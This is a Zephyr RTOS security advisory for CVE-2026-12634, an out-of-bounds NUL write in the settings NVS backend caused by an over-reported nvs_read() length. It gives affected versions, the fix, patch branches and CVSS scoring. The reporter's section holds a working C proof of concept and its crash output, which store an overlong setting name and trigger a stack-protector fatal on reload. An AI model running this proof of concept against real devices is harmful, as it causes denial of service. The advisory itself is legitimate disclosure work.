Skip to content

Out-of-bounds stack write in the settings NVS backend from over-reported nvs_read length

Moderate
d3zd3z published GHSA-q7c8-m2qg-385c Aug 19, 2026

Software

zephyr

Affected versions

>= 2.0.0, <= 4.4.2

Patched versions

4.5.0

Description

The NVS backend of the Zephyr settings subsystem (subsys/settings/src/settings_nvs.c) reads stored setting-name entries into fixed 74-byte stack buffers and NUL-terminates them with buf[rc] = '\0', where rc is the return value of nvs_read(). Per its contract, nvs_read() returns the full stored entry length (wlk_ate.len), which can exceed the supplied buffer length — only MIN(len, stored_len) bytes are actually copied, but the return value may be much larger, bounded only by the NVS sector size. Three sites (settings_nvs_cache_match(), settings_nvs_load(), and settings_nvs_save()) used this value directly as the NUL index without clamping, so an oversized stored name entry causes a single \0 byte to be written past the end of the stack buffer at an attacker-influenced offset (CWE-787).

The oversized entry cannot arise through the normal settings API, where names are bounded by SETTINGS_MAX_NAME_LEN. It requires an actor able to write the flash that backs the settings partition — a co-resident or untrusted component sharing the flash device, a malicious settings image/restore, or offline/physical flash access (a shared-flash threat model). The malformed entry is parsed when settings_load() runs at boot or subsystem init, or during settings_save().

The out-of-bounds write is a single NUL byte at an offset equal to the crafted entry length (up to the NVS sector size), so the practical impact is a crash or denial of service and limited stack corruption rather than reliable code execution. There is no confidentiality impact, and the path is not reachable from the network through the ordinary settings interface. The fix skips any entry whose nvs_read() length is greater than or equal to the buffer size before performing the NUL store.

Affected components

  • subsys/settings/src/settings_nvs.c

Affected versions

>= 2.0.0, <= 4.4.2

Fix

Fixed (merged) in e79a0db

Projected fixed version: 4.5.0 (the fix is merged on main but not yet released; this forecast should be confirmed against the actual release).

Introduced by: 88bb759 (settings: adding new nvs backend, 2019; present since v2.0.0)

Evidence

  • subsys/settings/src/settings_nvs.c:110-114 — cache_match guards (size_t)rc >= len before rdname[rc] = '\0'; pre-fix code wrote unconditionally
  • subsys/settings/src/settings_nvs.c:198-203 — load() guards (size_t)rc1 >= sizeof(name) before name[rc1] = '\0' into a 74-byte stack buffer
  • subsys/settings/src/settings_nvs.c:278-282 — save() guards (size_t)rc >= sizeof(rdname) before rdname[rc] = '\0'
  • subsys/settings/src/settings_nvs.c:43-58 — settings_nvs_read_fn already clamps rc = len when rc > len, confirming nvs_read over-reports length
  • subsys/kvss/nvs/nvs.c (nvs_read_hist) — returns wlk_ate.len - NVS_DATA_CRC_SIZE, the full stored length, while copying only MIN(len, stored_len) bytes
  • include/zephyr/kvss/nvs.h:133-137 — nvs_read contract: return value larger than requested means not all bytes were read
  • include/zephyr/settings/settings.h:37-54 — buffer size = SETTINGS_MAX_NAME_LEN(64)+EXTRA_LEN(9)+1 = 74 bytes by default
  • subsys/settings/src/settings_store.c:36 — settings_load() entry point invoking the backend csi_load
Original report as submitted by the reporter

Zephyr's settings NVS backend persists arbitrary key-name lengths but later reloads names into a fixed 74-byte stack buffer in subsys/settings/src/settings_nvs.c. The code then writes name[rc1] = '\0' using the raw nvs_read() return value. Zephyr's own NVS API contract explicitly allows nvs_read() to return a value larger than the requested destination length when more data exists. As a result, an attacker who can store an overlong setting name through an official API path can trigger an out-of-bounds stack write during the next settings_load(). A real Zephyr native_sim/native/64 proof-of-concept shows a 64-byte key loads successfully, while an 80-byte key reaches kernel/compiler_stack_protect.c:40 and terminates the system.

Summary

The Zephyr settings NVS backend trusts oversized nvs_read() return lengths when reloading persisted key names. An overlong setting name saved through the official settings API later causes an out-of-bounds stack write and a kernel fatal during settings_load().

Details

Relevant code:

  • official save entrypoint:
    • subsys/settings/src/settings_store.c:209
  • low-friction shell entrypoint:
    • subsys/settings/src/settings_shell.c:169
  • NVS API contract:
    • include/zephyr/kvss/nvs.h:125
  • vulnerable load path:
    • subsys/settings/src/settings_nvs.c:157
    • subsys/settings/src/settings_nvs.c:195
  • analogous sibling sink on save path:
    • subsys/settings/src/settings_nvs.c:105
    • subsys/settings/src/settings_nvs.c:110
    • subsys/settings/src/settings_nvs.c:260
    • subsys/settings/src/settings_nvs.c:270

Official API context:

  • Settings API:
    • https://docs.zephyrproject.org/latest/doxygen/html/group__settings.html
  • NVS documentation:
    • https://docs.zephyrproject.org/latest/services/storage/nvs/nvs.html

Confirmed data flow:

  1. settings_save_one() forwards attacker-controlled name to the active backend.
  2. settings_nvs_save() persists the key name with nvs_write(..., name, strlen(name)) and does not enforce a backend-local maximum name length.
  3. On a later settings_load(), settings_nvs_load() reads the persisted name into char name[SETTINGS_MAX_NAME_LEN + SETTINGS_EXTRA_LEN + 1].
  4. Per Zephyr's NVS contract, nvs_read() may return a value larger than the requested read buffer length when the stored record is longer.
  5. settings_nvs_load() uses that raw return value as an array index in name[rc1] = '\0', producing an out-of-bounds stack write before any handler-specific logic runs.

Why this is not just a host-only artifact:

  • the proof uses the real Zephyr settings subsystem, real flash-map/NVS backend, and official APIs only
  • no host-side memory model or ASan shim is required
  • stack canaries are used only to make the real overwrite observable as a Zephyr fatal condition

PoC

#include <zephyr/kernel.h>
#include <zephyr/storage/flash_map.h>
#include <zephyr/kvss/nvs.h>
#include <zephyr/settings/settings.h>
#include <zephyr/sys/printk.h>
#include <string.h>

#ifndef EXP_NAME_LEN
#define EXP_NAME_LEN 75
#endif

#define LONG_NAME_LEN EXP_NAME_LEN

static char long_name[LONG_NAME_LEN + 1];
static const uint8_t one = 0x41;

static void prepare_long_name(void)
{
	memset(long_name, 'A', sizeof(long_name));
	long_name[LONG_NAME_LEN] = '\0';
}

int main(void)
{
	int rc;
	const struct flash_area *fa;

	printk("settings_nvs long-name repro start\n");
#if LONG_NAME_LEN >= 75
	printk("mode=trigger long_name_len=%d\n", LONG_NAME_LEN);
#else
	printk("mode=baseline long_name_len=%d\n", LONG_NAME_LEN);
#endif

	prepare_long_name();

	rc = flash_area_open(FIXED_PARTITION_ID(storage_partition), &fa);
	printk("flash_area_open rc=%d\n", rc);
	if (rc != 0) {
		return 0;
	}

	rc = flash_area_flatten(fa, 0, fa->fa_size);
	printk("flash_area_flatten rc=%d size=%u\n", rc, (unsigned int)fa->fa_size);
	flash_area_close(fa);
	if (rc != 0) {
		return 0;
	}

	rc = settings_subsys_init();
	printk("settings_subsys_init rc=%d\n", rc);
	if (rc != 0) {
		return 0;
	}

	void *storage = NULL;
	uint8_t tiny = 0;

	rc = settings_storage_get(&storage);
	printk("settings_storage_get rc=%d storage=%p\n", rc, storage);

	rc = settings_save_one(long_name, &one, sizeof(one));
	printk("settings_save_one rc=%d name_len=%d\n", rc, LONG_NAME_LEN);
	if (rc < 0) {
		return 0;
	}

	if (storage != NULL) {
		ssize_t name_rc = nvs_read((struct nvs_fs *)storage, 0x8001, &tiny, sizeof(tiny));
		ssize_t value_rc = nvs_read((struct nvs_fs *)storage, 0xc001, &tiny, sizeof(tiny));

		printk("raw nvs_read name_rc=%d value_rc=%d first_byte=0x%02x\n",
		       (int)name_rc, (int)value_rc, tiny);
	}

	printk("triggering settings_load\n");
	rc = settings_load();
#if LONG_NAME_LEN >= 75
	printk("UNEXPECTED settings_load returned rc=%d\n", rc);
#else
	printk("BASELINE_OK settings_load returned rc=%d\n", rc);
#endif

	return 0;
}
*** Booting Zephyr OS build v4.4.0-373-g4f2e63556a0f ***
settings_nvs long-name repro start
mode=trigger long_name_len=80
flash_area_open rc=0
flash_area_flatten rc=0 size=16384
settings_subsys_init rc=0
settings_storage_get rc=0 storage=0x418a10
settings_save_one rc=0 name_len=80
raw nvs_read name_rc=80 value_rc=1 first_byte=0x41
triggering settings_load
@ WEST_TOPDIR/zephyr/kernel/compiler_stack_protect.c:40
Exiting due to fatal error

Why this is proof:

  • the baseline and trigger runs use the same Zephyr image design and the same official settings API path
  • only the persisted key length changes
  • the trigger run proves the NVS backend observes a logical name length larger than the internal 74-byte buffer and then dies immediately in the stack protector during settings_load()

Impact

  • confirmed impact: kernel denial-of-service during settings reload / boot-time settings load
  • attack precondition: attacker can store an overlong settings key through an official API path before a later reload
  • practical source paths:
    • direct application use of settings_save_one()
    • deployments exposing settings shell write
  • current-round exploit claim is limited to crash / stack smash; stronger control-flow impact was not claimed without proof

fix suggestion

Patch the full NVS name handling path in:

  • subsys/settings/src/settings_nvs.c

Functions that should be changed:

  • settings_nvs_load()
  • settings_nvs_cache_match()
  • settings_nvs_save()

Patching reason:

  • the code currently assumes nvs_read() return values are safe to use as in-buffer string lengths
  • Zephyr's NVS API explicitly documents the opposite: a return value larger than the requested length means the record was truncated in the destination buffer
  • every name-read site must therefore bound the logical length before using it as an index or before calling string functions

Concrete patch direction:

  • after rc = nvs_read(..., buf, sizeof(buf)):
    • if rc < 0, handle the error as today
    • if rc >= sizeof(buf), reject the record or clamp it to sizeof(buf) - 1
    • then write the terminator at the bounded index
  • do not persist names longer than the backend-supported maximum
  • keep the same defensive pattern already used by settings_nvs_read_fn(), which caps oversized value-read lengths

Patches

Branch Pull request Status
main #111314 merged
v4.4-branch #113298 merged
v4.3-branch #113296 open
v3.7-branch #113297 merged

For more information

If you have any questions or comments about this advisory:

embargo: 2026-08-16

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H

CVE ID

CVE-2026-12634

Weaknesses

Out-of-bounds Write

The product writes data past the end, or before the beginning, of the intended buffer. Learn more on MITRE.

Credits